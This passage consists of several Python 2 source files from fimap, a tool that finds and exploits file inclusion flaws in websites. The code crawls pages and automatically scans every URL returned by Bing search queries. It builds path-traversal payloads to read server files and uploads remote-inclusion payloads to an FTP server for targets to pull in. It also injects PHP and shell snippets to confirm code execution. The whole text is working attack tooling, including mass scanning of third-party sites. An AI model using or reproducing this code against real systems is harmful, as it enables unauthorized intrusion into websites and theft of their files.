"%s&?%s" %(desturl, params) else: currentPost = modConfig["p_post"] if (currentPost == None or currentPost == ""): currentPost = params else: currentPost = currentPost + "&" + params modConfig["p_post"] = currentPost single = singleScan(modConfig) single.setURL(desturl) single.setQuite(True) single.scan() print "Starting harvester engine to get links (Depth: 0)..." crawl = crawler(self.config) crawl.crawl_url(self.URL, 0) if (len(crawl.urlpool) == 0): print "No links found." else: print "Harvesting done. %d links found. Analyzing links now..."%(len(crawl.urlpool)) for url in crawl.urlpool: try: single = singleScan(self.config) single.setURL(str(url[0])) single.setQuite(True) single.scan() except: print "Cought an exception. Continuing..." print "AutoAwesome is done."
Python
# # This file is part of fimap. # # Copyright(c) 2009-2012 Iman Karim(ikarim2s@smail.inf.fh-brs.de). # http://fimap.googlecode.com # # This file may be licensed under the terms of of the # GNU General Public License Version 2 (the ``GPL''). # # Software distributed under the License is distributed # on an ``AS IS'' basis, WITHOUT WARRANTY OF ANY KIND, either # express or implied. See the GPL for the specific language # governing rights and limitations. # # You should have received a copy of the GPL along with this # program. If not, go to http://www.gnu.org/licenses/gpl.html # or write to the Free Software Foundation, Inc., # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. # __author__="Iman Karim(ikarim2s@smail.inf.fh-brs.de)" __date__ ="$01.09.2009 09:56:24$" class report: def __init__(self, URL, Params, VulnKey): self.URL = URL self.Prefix = None self.Surfix = "" self.Appendix = None self.VulnKey = VulnKey self.VulnKeyVal = None self.Params = Params self.SuffixBreakable = None self.SuffixBreakTechName = None self.ServerPath = None self.ServerScript = None self.RemoteInjectable = False self.isLinux = True self.BlindDiscovered = False self.PostData = None self.isPost = 0 self.language = None self.VulnHeaderKey = None self.HeaderDict = None def setVulnHeaderKey(self, headerkey): self.VulnHeaderKey = headerkey def setHeader(self, header): self.HeaderDict = header def setLanguage(self, lang): self.language = lang def getLanguage(self): return(self.language) def isLanguageSet(self): return(self.language != None) def setPostData(self, p): self.PostData = p def setPost(self, b): self.isPost = b def getPostData(self): return(self.PostData) def getVulnHeader(self): if (self.VulnHeaderKey == None): return("") return(self.VulnHeaderKey) def getHeader(self): return(self.HeaderDict) def isPost(self): return(self.isPost) def setWindows(self): self.isLinux = False def isWindows(self): return(not self.isLinux) def setLinux(self): self.isLinux = True def isLinux(self): return(self.isLinux) def isUnix(self): return(self.isLinux) def setVulnKeyVal(self, val): self.VulnKeyVal = val def getVulnKeyVal(self): return(self.VulnKeyVal) def setPrefix(self, path): self.Prefix = path def getPrefix(self): return(self.Prefix) def setSurfix(self, txt): if (self.Appendix == None): self.Appendix = txt self.Surfix = txt def getSurfix(self): return(self.Surfix) def isBlindDiscovered(self): return(self.BlindDiscovered) def setBlindDiscovered(self, bd): self.BlindDiscovered = bd def setServerPath(self, sP): self.ServerPath = sP def getServerPath(self): return(self.ServerPath) def setServerScript(self, sP): self.ServerScript = sP def getServerScript(self): return(self.ServerScript) def getAppendix(self): return(self.Appendix) def isAbsoluteInjection(self): return(self.getPrefix() == "") def isRelativeInjection(self): return(self.getPrefix().startswith("..") or self.getPrefix().startswith("/..")) def getVulnKey(self): return(self.VulnKey) def getURL(self): return(self.URL) def isRemoteInjectable(self): return(self.RemoteInjectable) def setRemoteInjectable(self, ri): self.RemoteInjectable = ri def getParams(self): return(self.Params) def setSuffixBreakable(self, isPossible): self.SuffixBreakable = isPossible def isSuffixBreakable(self): return(self.SuffixBreakable) def setSuffixBreakTechName(self, name): self.SuffixBreakTechName = name def getSuffixBreakTechName(self): return(self.SuffixBreakTechName) def getType(self): ret = "" if (self.isBlindDiscovered()): return("Blindly Identified") if (self.getPrefix() == None): return("Not checked.") elif (self.isAbsoluteInjection()): if (self.getAppendix() == ""): ret = "Absolute Clean" else: ret = "Absolute with appendix '%s'" %(self.getAppendix()) elif (self.isRelativeInjection()): if (self.getAppendix() == ""): ret = "Relative Clean" else: ret = "Relative with appendix '%s'" %(self.getAppendix()) else: return("Unknown (%s | %s | %s)" %(self.getPrefix(), self.isRelativeInjection(), self.isAbsoluteInjection())) if (self.isRemoteInjectable()): ret = ret + " + Remote injection" return(ret) def getDomain(self, url=None): if url==None: url = self.URL domain = url[url.find("//")+2:] domain = domain[:domain.find("/")] return(domain) def getPath(self): url = self.getURL() url = url[url.find("//")+2:] url = url[url.find("/"):] return(url) def autoDetectLanguageByExtention(self, languageSets): for Name, langClass in languageSets.items(): exts = langClass.getExtentions() for ext in exts: if (self.URL.find(ext) != -1): self.setLanguage(Name) return(True) return(False)
Python
# # This file is part of fimap. # # Copyright(c) 2009-2012 Iman Karim(ikarim2s@smail.inf.fh-brs.de). # http://fimap.googlecode.com # # This file may be licensed under the terms of of the # GNU General Public License Version 2 (the ``GPL''). # # Software distributed under the License is distributed # on an ``AS IS'' basis, WITHOUT WARRANTY OF ANY KIND, either # express or implied. See the GPL for the specific language # governing rights and limitations. # # You should have received a copy of the GPL along with this # program. If not, go to http://www.gnu.org/licenses/gpl.html # or write to the Free Software Foundation, Inc., # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. # from singleScan import singleScan from targetScanner import targetScanner from pybing import Bing import datetime import sys,time __author__="Iman Karim(ikarim2s@smail.inf.fh-brs.de)" __date__ ="$01.09.2009 06:55:16$" class bingScan: def __init__(self, config): self.config = config self.bs = Bing("YOUR ID") self.cooldown = self.config["p_googlesleep"]; self.results_per_page = int(self.config["p_results_per_query"]); if (self.config["p_skippages"] > 0): print "Bing Scanner will skip the first %d pages..."%(self.config["p_skippages"]) def startGoogleScan(self): print "Querying Bing Search: '%s' with max pages %d..."%(self.config["p_query"], self.config["p_pages"]) pagecnt = 0 curtry = 0 last_request_time = datetime.datetime.now() while(pagecnt < self.config["p_pages"]): pagecnt = pagecnt +1 redo = True while (redo): try: current_time = datetime.datetime.now() diff = current_time - last_request_time diff = int(diff.seconds) if (diff <= self.cooldown): if (diff > 0): print "Commencing %ds bing cooldown..." %(self.cooldown - diff) time.sleep(self.cooldown - diff) last_request_time = datetime.datetime.now() resp = self.bs.search_web(self.config["p_query"], {'Web.Count':50,'Web.Offset':(pagecnt-1)*self.results_per_page}) results = resp['SearchResponse']['Web']['Results'] redo = False except KeyboardInterrupt: raise except Exception, err: raise redo = True sys.stderr.write("[RETRYING PAGE %d]\n" %(pagecnt)) curtry = curtry +1 if (curtry > self.config["p_maxtries"]): print "MAXIMUM COUNT OF (RE)TRIES REACHED!" sys.exit(1) curtry = 0 if (len(results) == 0): break sys.stderr.write("[PAGE %d]\n" %(pagecnt)) try: for r in results: single = singleScan(self.config) single.setURL(r["Url"]) single.setQuite(True) single.scan() except KeyboardInterrupt: raise time.sleep(1) print "Bing Scan completed."
Python
# # This file is part of fimap. # # Copyright(c) 2009-2012 Iman Karim(ikarim2s@smail.inf.fh-brs.de). # http://fimap.googlecode.com # # This file may be licensed under the terms of of the # GNU General Public License Version 2 (the ``GPL''). # # Software distributed under the License is distributed # on an ``AS IS'' basis, WITHOUT WARRANTY OF ANY KIND, either # express or implied. See the GPL for the specific language # governing rights and limitations. # # You should have received a copy of the GPL along with this # program. If not, go to http://www.gnu.org/licenses/gpl.html # or write to the Free Software Foundation, Inc., # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. # from baseClass import baseClass from targetScanner import targetScanner import sys, time __author__="Iman Karim(ikarim2s@smail.inf.fh-brs.de)" __date__ ="$03.09.2009 01:29:37$" class singleScan(baseClass): def _load(self): self.URL = None self.quite = False def setURL(self, URL): self.URL = URL def setQuite(self, b): self.quite = b def scan(self): try: self.localLog("SingleScan is testing URL: '%s'" %self.URL) t = targetScanner(self.config) t.MonkeyTechnique = self.config["p_monkeymode"] idx = 0 if (t.prepareTarget(self.URL)): res = t.testTargetVuln() if (len(res) == 0): self.localLog("Target URL isn't affected by any file inclusion bug :(") else: for i in res: report = i[0] files = i[1] idx = idx +1 boxarr = [] header = "[%d] Possible File Inclusion"%(idx) if (report.getLanguage() != None): header = "[%d] Possible %s-File Inclusion"%(idx, report.getLanguage()) boxarr.append("::REQUEST") boxarr.append(" [URL] %s"%report.getURL()) if (report.getPostData() != None and report.getPostData() != ""): boxarr.append(" [POST] %s"%report.getPostData()) if (report.getHeader() != None and report.getHeader().keys() > 0): modkeys = ",".join(report.getHeader().keys()) boxarr.append(" [HEAD SENT] %s"%(modkeys)) boxarr.append("::VULN INFO") if (report.isPost == 0): boxarr.append(" [GET PARAM] %s"%report.getVulnKey()) elif (report.isPost == 1): boxarr.append(" [POSTPARM] %s"%report.getVulnKey()) elif (report.isPost == 2): boxarr.append(" [VULN HEAD] %s"%report.getVulnHeader()) boxarr.append(" [VULN PARA] %s"%report.getVulnKey()) if (report.isBlindDiscovered()): boxarr.append(" [PATH] Not received (Blindmode)") else: boxarr.append(" [PATH] %s"%report.getServerPath()) if (report.isUnix()): boxarr.append(" [OS] Unix") else: boxarr.append(" [OS] Windows") boxarr.append(" [TYPE] %s"%report.getType()) if (not report.isBlindDiscovered()): if (report.isSuffixBreakable() == None): boxarr.append(" [TRUNCATION] No Need. It's clean.") else: if (report.isSuffixBreakable()): boxarr.append(" [TRUNCATION] Works with '%s'. :)" %(report.getSuffixBreakTechName())) else: boxarr.append(" [TRUNCATION] Doesn't work. :(") else: if (report.isSuffixBreakable()): boxarr.append(" [TRUNCATION] Is needed.") else: boxarr.append(" [TRUNCATION] Not tested.") boxarr.append(" [READABLE FILES]") if (len(files) == 0): boxarr.append(" No Readable files found :(") else: fidx = 0 for file in files: payload = "%s%s%s"%(report.getPrefix(), file, report.getSurfix()) if (file != payload): if report.isWindows() and file[1]==":": file = file[3:] txt = " [%d] %s -> %s"%(fidx, file, payload) #if (fidx == 0): txt = txt.strip() boxarr.append(txt) else: txt = " [%d] %s"%(fidx, file) #if (fidx == 0): txt = txt.strip() boxarr.append(txt) fidx = fidx +1 self.drawBox(header, boxarr) except KeyboardInterrupt: if (self.quite): # We are in google mode. print "\nCancelled current target..." print "Press CTRL+C again in the next second to terminate fimap." try: time.sleep(1) except KeyboardInterrupt: raise else: # We are in single mode. Simply raise the exception. raise def localLog(self, txt): if (not self.quite): print txt
Python
# # This file is part of fimap. # # Copyright(c) 2009-2012 Iman Karim(ikarim2s@smail.inf.fh-brs.de). # http://fimap.googlecode.com # # This file may be licensed under the terms of of the # GNU General Public License Version 2 (the ``GPL''). # # Software distributed under the License is distributed # on an ``AS IS'' basis, WITHOUT WARRANTY OF ANY KIND, either # express or implied. See the GPL for the specific language # governing rights and limitations. # # You should have received a copy of the GPL along with this # program. If not, go to http://www.gnu.org/licenses/gpl.html # or write to the Free Software Foundation, Inc., # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. # import urllib, httplib, copy, urllib2 import string,random,os,socket, os.path import xml.dom.minidom import shutil from time import gmtime, strftime class baseTools(object): LOG_ERROR = 99 LOG_WARN = 98 LOG_DEVEL = 1 LOG_DEBUG = 2 LOG_INFO = 3 LOG_ALWAYS= 4 config = None log_lvl = None boxsymbol = "#" # Color hack CONST_RST = "\033[0m" CONST_COL = "\033[__BOLD__;3__COLOR__m" BLACK = 0 RED = 1 GREEN = 2 YELLOW = 3 BLUE = 4 MAGENTA = 5 CYAN = 6 WHITE = 7 BOX_HEADER_STYLE = (1, 1) BOX_SPLITTER_STYLE = (3, 0) def getRandomStr(self): chars = string.letters + string.digits ret = "" for i in range(8): if (i==0): ret = ret + random.choice(string.letters) else: ret = ret + random.choice(chars) return ret def initLog(self, config): self.log_lvl = {} self.log_lvl[baseTools.LOG_ERROR] = ("ERROR", (self.RED, 1)) self.log_lvl[baseTools.LOG_WARN] = ("WARN", (self.RED, 0)) self.log_lvl[baseTools.LOG_DEVEL] = ("DEVEL", (self.YELLOW, 0)) self.log_lvl[baseTools.LOG_DEBUG] = ("DEBUG", (self.CYAN, 0)) self.log_lvl[baseTools.LOG_INFO] = ("INFO", (self.BLUE, 0)) self.log_lvl[baseTools.LOG_ALWAYS] = ("OUT", (self.MAGENTA, 0)) self.LOG_LVL = config["p_verbose"] self.use_color = config["p_color"] self.config = config if (self.use_color): self.boxsymbol = self.CONST_COL + "#" self.boxsymbol = self.boxsymbol.replace("__BOLD__", "1") self.boxsymbol = self.boxsymbol.replace("__COLOR__", str(self.RED)) self.boxsymbol += self.CONST_RST def _log(self, txt, LVL): if (4-self.config["p_verbose"] < LVL): logline = "[%s] %s" %(self.log_lvl[LVL][0], txt) t = strftime("%H:%M:%S", gmtime()) if (self.use_color): print "[%s] %s" %(t, self.__getColorLine(logline, self.log_lvl[LVL][1])) else: print "[%s] %s" %(t, logline) def __setColor(self, txt, style): ret = self.CONST_COL + txt ret = ret.replace("__COLOR__", str(style[0])) ret = ret.replace("__BOLD__", str(style[1])) return(ret) def __getColorLine(self, txt, style): ret = self.__setColor(txt, style) ret += self.CONST_RST return(ret) def drawBox(self, header, textarray, usecolor=None): if (usecolor != None): self.use_color = usecolor maxLen = self.__getLongestLine(textarray, header) + 5 headspacelen = (maxLen/2 - len(header)/2) print self.boxsymbol* (maxLen+1) if (self.use_color): cheader = self.__getColorLine(header, self.BOX_HEADER_STYLE) self.__printBoxLine(cheader, maxLen, len(header)) else: self.__printBoxLine(header, maxLen) print self.boxsymbol* (maxLen+1) for ln in textarray: self.__printBoxLine(ln, maxLen) print self.boxsymbol* (maxLen+1) def __printBoxLine(self, txt, maxlen, realsize=-1): size = len(txt) if (realsize != -1): size = realsize suffix = " " * (maxlen - size-1) if (self.use_color): coloredtxt = txt if (txt.startswith("::")): # Informative Inline Message coloredtxt = self.__getColorLine(txt, self.BOX_SPLITTER_STYLE) print self.boxsymbol + coloredtxt + suffix + self.boxsymbol else: print self.boxsymbol + txt + suffix + self.boxsymbol def __getLongestLine(self, textarray, header): maxLen = len(header) for ln in textarray: if (len(ln) > maxLen): maxLen = len(ln) return(maxLen) def getAttributeFromFirstNode(self, xmlfile, attrib): if (os.path.exists(xmlfile)): XML_plugin = xml.dom.minidom.parse(xmlfile) XML_Rootitem = XML_plugin.firstChild value = int(XML_Rootitem.getAttribute(attrib)) return(value) else: return False def suggest_update(self, orginal_file, replacement_file): #print orginal_file #print replacement_file inp = raw_input("Do you want to update? [y/N]") if (inp == "Y" or inp == "y"): print "Updating..." os.unlink(orginal_file) shutil.copy(replacement_file, orginal_file)
Python
# # This file is part of fimap. # # Copyright(c) 2009-2012 Iman Karim(ikarim2s@smail.inf.fh-brs.de). # http://fimap.googlecode.com # # This file may be licensed under the terms of of the # GNU General Public License Version 2 (the ``GPL''). # # Software distributed under the License is distributed # on an ``AS IS'' basis, WITHOUT WARRANTY OF ANY KIND, either # express or implied. See the GPL for the specific language # governing rights and limitations. # # You should have received a copy of the GPL along with this # program. If not, go to http://www.gnu.org/licenses/gpl.html # or write to the Free Software Foundation, Inc., # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. # from tempfile import mkstemp from ftplib import FTP from ftplib import error_perm from config import settings import xml.dom.minidom from base64 import b64encode import pickle import ntpath import baseTools import shutil import posixpath import os.path import sys DEFAULT_AGENT = "fimap.googlecode.com" import urllib, httplib, copy, urllib2 import string,random,os,socket, os.path __author__="Iman Karim(ikarim2s@smail.inf.fh-brs.de)" __date__ ="$30.08.2009 20:02:04$" import urllib2 import string,random,os,socket new_stuff = {} class baseClass (object): XML_Result = None XML_RootItem = None homeDir = os.path.expanduser("~") LOG_ERROR = 99 LOG_WARN = 98 LOG_DEVEL = 1 LOG_DEBUG = 2 LOG_INFO = 3 LOG_ALWAYS= 4 TIMEOUT = 30 tools = baseTools.baseTools() def __init__(self, config): self.tools.initLog(config) self.config = config self.logFilePath = None self.__init_logfile() self.__logfile self._load() self.xmlfile = os.path.join(self.homeDir, "fimap_result.xml") self.XML_Result = None baseClass.TIMEOUT = config["p_ttl"] if (self.XML_Result == None): self.XML_RootItem = None self.__init_xmlresult() def __init_xmlresult(self): xmlfile = self.xmlfile if (os.path.exists(xmlfile)): self.XML_Result = xml.dom.minidom.parse(xmlfile) self.XML_RootItem = self.XML_Result.firstChild else: self.XML_Result = xml.dom.minidom.Document() self.XML_RootItem = self.XML_Result.createElement("fimap") self.XML_Result.appendChild(self.XML_RootItem) def _createXMLElement(self, Key): elem = self.XML_Result.createElement(Key) return(elem) def _setAttrib(self, Node, Key, Value): Node.setAttribute(Key, Value) def _appendXMLChild(self, Parent, Child): Parent.appendChild(Child) def _getXML(self): return(self.XML_Result.toprettyxml(indent=" ")) def _load(self): # Should be implemented pass def _log(self, txt, LVL): self.tools._log(txt, LVL) def getRandomStr(self): return(self.tools.getRandomStr()) def __init_logfile(self): self.logFilePath = os.path.join(self.homeDir, "fimap.log") self.__logfile = open(self.logFilePath, "a") def _writeToLog(self, txt): self.__logfile.write("%s\n" %(txt)) def drawBox(self, boxheader, boxarr): self.tools.drawBox(boxheader, boxarr) def addXMLLog(self, rep, t, f): if (not self.existsXMLEntry(rep.getDomain(), f, rep.getPath())): elem = self.findDomainNode(rep.getDomain()) elem_vuln = self._createXMLElement("vuln") self._setAttrib(elem_vuln, "file", f) self._setAttrib(elem_vuln, "prefix", rep.getPrefix()) self._setAttrib(elem_vuln, "suffix", rep.getSurfix()) self._setAttrib(elem_vuln, "appendix", rep.getAppendix()) self._setAttrib(elem_vuln, "mode", t) self._setAttrib(elem_vuln, "path", rep.getPath()) self._setAttrib(elem_vuln, "param", rep.getVulnKey()) self._setAttrib(elem_vuln, "paramvalue", rep.getVulnKeyVal()) self._setAttrib(elem_vuln, "postdata", rep.getPostData()) self._setAttrib(elem_vuln, "kernel", "") self._setAttrib(elem_vuln, "language", rep.getLanguage()) headers_pickle = pickle.dumps(rep.getHeader()) headers_pickle = b64encode(headers_pickle) self._setAttrib(elem_vuln, "header_dict", headers_pickle) self._setAttrib(elem_vuln, "header_vuln_key", rep.getVulnHeader()) os_ = "unix" if (rep.isWindows()): os_ = "win" self._setAttrib(elem_vuln, "os", os_) if (rep.isRemoteInjectable()): self._setAttrib(elem_vuln, "remote", "1") else: self._setAttrib(elem_vuln, "remote", "0") if (rep.isBlindDiscovered()): self._setAttrib(elem_vuln, "blind", "1") else: self._setAttrib(elem_vuln, "blind", "0") self._setAttrib(elem_vuln, "ispost", str(rep.isPost)) self._appendXMLChild(elem, elem_vuln) self._appendXMLChild(self.XML_RootItem, elem) if (t.find("x") != -1 or t.find("R") != -1): try: new_stuff[rep.getDomain()] += 1 except: new_stuff[rep.getDomain()] = 1 def updateKernel(self, domainnode, kernel): self._log("Updating kernel version in XML to '%s'"%(kernel), self.LOG_DEVEL) self._setAttrib(domainnode, "kernel", kernel) def getKernelVersion(self, domainnode): ret = domainnode.getAttribute("kernel") if (ret == ""): ret = None return(None) def findDomainNode(self, domain): elem = None for c in self.XML_RootItem.childNodes: if (c.nodeName != "#text"): c.getAttribute("hostname") if (c.getAttribute("hostname") == domain): return(c) elem = self._createXMLElement("URL") self._setAttrib(elem, "hostname", domain) return elem def getDomainNodes(self): ret = self.XML_RootItem.getElementsByTagName("URL") return(ret) def getNodesOfDomain(self, Domain): ret = [] elem = self.findDomainNode(Domain) return(elem.getElementsByTagName("vuln")) def existsDomain(self, domain): for c in self.XML_RootItem.childNodes: if (c.nodeName != "#text"): c.getAttribute("hostname") if (c.getAttribute("hostname") == domain): return(True) return(False) def existsXMLEntry(self, domain, file, path): elem = self.findDomainNode(domain) for c in elem.childNodes: if (c.nodeName != "#text"): f = c.getAttribute("file") p = c.getAttribute("path") if (f == file and p == path): return(True) return(False) def testIfXMLIsOldSchool(self): already_warned = False for c in self.XML_RootItem.childNodes: if (c.nodeName != "#text"): if (c.nodeName == "URL"): for cc in c.childNodes: toss_warn = False if (cc.nodeName == "vuln"): if (cc.getAttribute("language") == None or cc.getAttribute("language") == ""): self._setAttrib(cc, "language", "PHP") toss_warn = True if (cc.getAttribute("os") == None or cc.getAttribute("os") == ""): self._setAttrib(cc, "os", "unix") toss_warn = True if (toss_warn and not already_warned): self._log("You have an old fimap_result.xml file!", self.LOG_WARN) self._log("I am going to make it sexy for you now very quickly...", self.LOG_WARN) already_warned = True if (already_warned): # XML has changed backupfile = os.path.join(self.homeDir, "fimap_result.backup") if (os.path.exists(backupfile)): self._log("WARNING: I wanted to backup your old fimap_result to: %s" %(backupfile), self.LOG_WARN) self._log("But this file already exists! Please define a backup path:", self.LOG_WARN) backupfile = raw_input("Backup path: ") print "Creating backup of your original XML to '%s'..." %(backupfile) shutil.copy(self.xmlfile, backupfile) print "Committing changes to orginal XML..." self.saveXML() print "All done." print "Please rerun fimap." sys.exit(0) def mergeXML(self, newXML): newVulns = newDomains = 0 doSave = False XML_newPlugin = xml.dom.minidom.parse(newXML) XML_newRootitem = XML_newPlugin.firstChild for c in XML_newRootitem.childNodes: if (c.nodeName != "#text" and c.nodeName == "URL"): hostname = str(c.getAttribute("hostname")) for cc in c.childNodes: addit = True if (cc.nodeName != "#text" and cc.nodeName == "vuln"): new_path = str(cc.getAttribute("path")) new_file = str(cc.getAttribute("file")) if (not self.existsXMLEntry(hostname, new_file, new_path)): doSave = True print "Adding new informations from domain '%s'..." %(hostname) domainNode = self.findDomainNode(hostname) self._appendXMLChild(domainNode, cc) newVulns += 1 if (not self.existsDomain(hostname)): self._appendXMLChild(self.XML_RootItem, domainNode) newDomains += 1 if (doSave): print "Saving XML...", self.saveXML() print "All done." return(newVulns, newDomains) def saveXML(self): self._log("Saving results to '%s'..."%self.xmlfile, self.LOG_DEBUG) f = open(self.xmlfile, "w") f.write(self.cleanUpLines(self._getXML())) f.close() def cleanUpLines(self, xml): ret = "" for ln in xml.split("\n"): if (ln.strip() != ""): ret = ret + ln + "\n" return(ret) def FTPuploadFile(self, content, suffix): host = settings["dynamic_rfi"]["ftp"]["ftp_host"] user = settings["dynamic_rfi"]["ftp"]["ftp_user"] pw = settings["dynamic_rfi"]["ftp"]["ftp_pass"] path = os.path.dirname(settings["dynamic_rfi"]["ftp"]["ftp_path"]) file_= os.path.basename(settings["dynamic_rfi"]["ftp"]["ftp_path"]) http = settings["dynamic_rfi"]["ftp"]["http_map"] temp = mkstemp()[1] hasCreatedDirStruct = False # Default case return values: rethttp = http+ suffix retftp = os.path.join(path, file_) + suffix directory = None # Check if the file needs to be in a directory. if (suffix.find("/") != -1): http = os.path.dirname(http) # Yep it has to be in a directory... tmp = self.removeEmptyObjects(suffix.split("/")) if suffix.startswith("/"): # Directory starts immediatly directory = os.path.join(file_, tmp[0]) # Concat the first directory to our path for d in tmp[1:-1]: # Join all directorys excluding first and last token. directory = os.path.join(directory, d) suffix = suffix[1:] # Remove the leading / from the suffix. file_ = tmp[-1] # The actual file is the last token. rethttp = settings["dynamic_rfi"]["ftp"]["http_map"] # Return http path retftp = settings["dynamic_rfi"]["ftp"]["ftp_path"] # and ftp file path. hasCreatedDirStruct = True # Say fimap that he should delete the directory after payloading. else: # File has a suffix + directory... subsuffix = suffix[:suffix.find("/")] # Get the attachment of the file. directory = file_ + subsuffix # Concat the attachment to the user defined filename. for d in tmp[1:-1]: # Concat all directorys excluding first and last token. directory = os.path.join(directory, d) suffix = suffix[suffix.find("/")+1:] # Get rest of the path excluding the file attachment. file_ = tmp[-1] # Get the actual filename. rethttp = settings["dynamic_rfi"]["ftp"]["http_map"] retftp = settings["dynamic_rfi"]["ftp"]["ftp_path"] + subsuffix hasCreatedDirStruct = True else: file_ = file_ + suffix # Write payload to local drive f = open(temp, "w") f.write(content) f.close() f = open(temp, "r") # Now toss it to your ftp server self._log("Uploading payload (%s) to FTP server '%s'..."%(temp, host), self.LOG_DEBUG) ftp = FTP(host, user, pw) ftp.cwd(path) # If the path is in a extra directory, we will take care of it now if (directory != None): self._log("Creating directory structure '%s'..."%(directory), self.LOG_DEBUG) for dir_ in directory.split("/"): try: ftp.cwd(dir_) except error_perm: self._log("mkdir '%s'..."%(dir_), self.LOG_DEVEL) ftp.mkd(dir_) ftp.cwd(dir_) ftp.storlines("STOR " + file_, f) ftp.quit() ret = {} ret["http"] = rethttp ret["ftp"] = retftp ret["dirstruct"] = hasCreatedDirStruct f.close() return(ret) def FTPdeleteFile(self, file): host = settings["dynamic_rfi"]["ftp"]["ftp_host"] user = settings["dynamic_rfi"]["ftp"]["ftp_user"] pw = settings["dynamic_rfi"]["ftp"]["ftp_pass"] self._log("Deleting payload (%s) from FTP server '%s'..."%(file, host), self.LOG_DEBUG) ftp = FTP(host, user, pw) ftp.delete(file) ftp.quit() def FTPdeleteDirectory(self, directory, ftp = None): host = settings["dynamic_rfi"]["ftp"]["ftp_host"] user = settings["dynamic_rfi"]["ftp"]["ftp_user"] pw = settings["dynamic_rfi"]["ftp"]["ftp_pass"] if ftp == None: self._log("Deleting directory recursivly from FTP server '%s'..."%(host), self.LOG_DEBUG) ftp = FTP(host, user, pw) ftp.cwd(directory) for i in ftp.nlst(directory): try: ftp.delete(i) except: self.FTPdeleteDirectory(i, ftp) ftp.cwd(directory) ftp.rmd(directory) def putLocalPayload(self, content, append): fl = settings["dynamic_rfi"]["local"]["local_path"] + append dirname = os.path.dirname(fl) if (not os.path.exists(dirname)): os.makedirs(dirname) up = {} up["local"] = settings["dynamic_rfi"]["local"]["local_path"] if append.find("/") != -1 and (not append.startswith("/")): up["local"] = settings["dynamic_rfi"]["local"]["local_path"] + append[:append.find("/")] up["http"] = settings["dynamic_rfi"]["local"]["http_map"] f = open(fl, "w") f.write(content) f.close() return(up) def deleteLocalPayload(self, directory): if(os.path.exists(directory)): if (os.path.isdir(directory)): shutil.rmtree(directory) else: os.remove(directory) def removeEmptyObjects(self, array, empty = ""): ret = [] for a in array: if a != empty: ret.append(a) return(ret) def relpath_unix(self, path, start="."): # Relpath implementation directly ripped and modified from Python 2.6 source. sep="/" if not path: raise ValueError("no path specified") start_list = posixpath.abspath(start).split(sep) path_list = posixpath.abspath(path).split(sep) # Work out how much of the filepath is shared by start and path. i = len(self.commonprefix([start_list, path_list])) rel_list = [".."] * (len(start_list)-i) + path_list[i:] if not rel_list: return "." return posixpath.join(*rel_list) def relpath_win(self, path, start="."): """Return a relative version of a path""" sep="\\" if not path: raise ValueError("no path specified") start_list = ntpath.abspath(start).split(sep) path_list = ntpath.abspath(path).split(sep) if start_list[0].lower() != path_list[0].lower(): unc_path, rest = ntpath.splitunc(path) unc_start, rest = ntpath.splitunc(start) if bool(unc_path) ^ bool(unc_start): raise ValueError("Cannot mix UNC and non-UNC paths (%s and %s)" % (path, start)) else: raise ValueError("path is on drive %s, start on drive %s" % (path_list[0], start_list[0])) # Work out how much of the filepath is shared by start and path. for i in range(min(len(start_list), len(path_list))): if start_list[i].lower() != path_list[i].lower(): break else: i += 1 rel_list = ['..'] * (len(start_list)-i) + path_list[i:] if not rel_list: return "." return ntpath.join(*rel_list) def commonprefix(self, m): "Given a list of pathnames, returns the longest common leading component" # Ripped from Python 2.6 source. if not m: return '' s1 = min(m) s2 = max(m) for i, c in enumerate(s1): if c != s2[i]: return s1[:i] return s1 def getPHPQuiz(self): rnd = self.getRandomStr() phpcode = "echo " for c in rnd: phpcode += "chr(%d)."%(ord(c)) phpcode = phpcode[:-1] + ";" return(phpcode, rnd) def getShellQuiz(self): rnd1 = random.randrange(10, 99) rnd2 = random.randrange(10, 99) result = str(rnd1 * rnd2) shellcode = "echo $((%d*%d))"%(rnd1, rnd2) return(shellcode, result) def getUserAgent(self): return (self.config["p_useragent"]) def setUserAgent(self, ua): if (ua != self.config["p_useragent"]): self._log("Useragent changed to: %s" %(ua), self.LOG_DEBUG) self.config["p_useragent"] = ua def doGetRequest(self, URL, additionalHeaders=None): self._log("GET: %s"%URL, self.LOG_DEVEL) self._log("HEADER: %s"%str(additionalHeaders), self.LOG_DEVEL) self._log("TTL: %d"%baseClass.TIMEOUT, self.LOG_DEVEL) result, headers = self.doRequest(URL, self.config["p_useragent"], additionalHeaders=additionalHeaders) self._log("RESULT-HEADER: %s"%headers, self.LOG_DEVEL) self._log("RESULT-HTML: %s"%result, self.LOG_DEVEL) return result def doPostRequest(self, URL, Post, additionalHeaders=None): self._log("URL : %s"%URL, self.LOG_DEVEL) self._log("POST : %s"%Post, self.LOG_DEVEL) self._log("HEADER: %s"%str(additionalHeaders), self.LOG_DEVEL) self._log("TTL: %d"%baseClass.TIMEOUT, self.LOG_DEVEL) result, headers = self.doRequest(URL, self.config["p_useragent"], Post, additionalHeaders=additionalHeaders) self._log("RESULT-HEADER: %s"%headers, self.LOG_DEVEL) self._log("RESULT-HTML: %s"%result, self.LOG_DEVEL) return result def doGetRequestWithHeaders(self, URL, agent = None, additionalHeaders = None): self._log("TTL: %d"%baseClass.TIMEOUT, self.LOG_DEVEL) result, headers = self.doRequest(URL, self.config["p_useragent"], additionalHeaders=additionalHeaders) self._log("RESULT-HEADER: %s"%headers, self.LOG_DEVEL) self._log("RESULT-HTML: %s"%result, self.LOG_DEVEL) return result def doRequest(self, URL, agent = None, postData = None, additionalHeaders = None, TimeOut=30): result = None headers = None socket.setdefaulttimeout(baseClass.TIMEOUT) try: b = Browser(agent or DEFAULT_AGENT, proxystring=self.config["p_proxy"]) try: if additionalHeaders: b.headers.update(additionalHeaders) if postData: result, headers = b.get_page(URL, postData, additionalheader=additionalHeaders) else: result, headers = b.get_page(URL, additionalheader=additionalHeaders) finally: del(b) except Exception, err: self._log(err, self.LOG_WARN) return result,headers #def doGetRequest(self, URL, TimeOut=10): #def doPostRequest(self, url, Post, TimeOut=10): class BrowserError(Exception): def __init__(self, url, error): self.url = url self.error = error class PoolHTTPConnection(httplib.HTTPConnection): def connect(self): msg = "getaddrinfo returns an empty list" for res in socket.getaddrinfo(self.host, self.port, 0, socket.SOCK_STREAM): af, socktype, proto, canonname, sa = res try: self.sock = socket.socket(af, socktype, proto) self.sock.settimeout(SOCKETTIMEOUT) 